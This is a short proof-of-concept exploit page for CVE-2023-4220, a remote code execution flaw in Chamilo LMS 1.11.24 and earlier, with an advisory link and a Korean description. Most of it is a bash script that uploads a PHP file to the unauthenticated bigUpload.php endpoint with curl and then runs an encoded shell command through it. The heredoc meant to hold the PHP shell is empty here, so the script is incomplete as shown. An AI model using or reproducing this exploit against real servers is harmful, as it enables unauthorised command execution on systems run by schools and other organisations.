CVE-2023-4220

################################# CVE-2023-4220 RCE Chamilo 1.11.24 #################################

| https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS <= 1.11.24 (Beersel 31/08/2023) | 인증되지 않은 파일 원격 코드 실행: "Big Upload" 라이브러리 | | 버전 확인 : /documentation/changelog.html | | POC EXPLOIT CVE RCE VULN |

.. code-block:: bash

#!/bin/bash HOST='http://lms.domain.com' CMD='id'

URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php'

cat <<'EOF'>/tmp/rce.php

EOF

curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD" CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))") curl "$HOST/$URL_FILE?aoOoy=$CMD"

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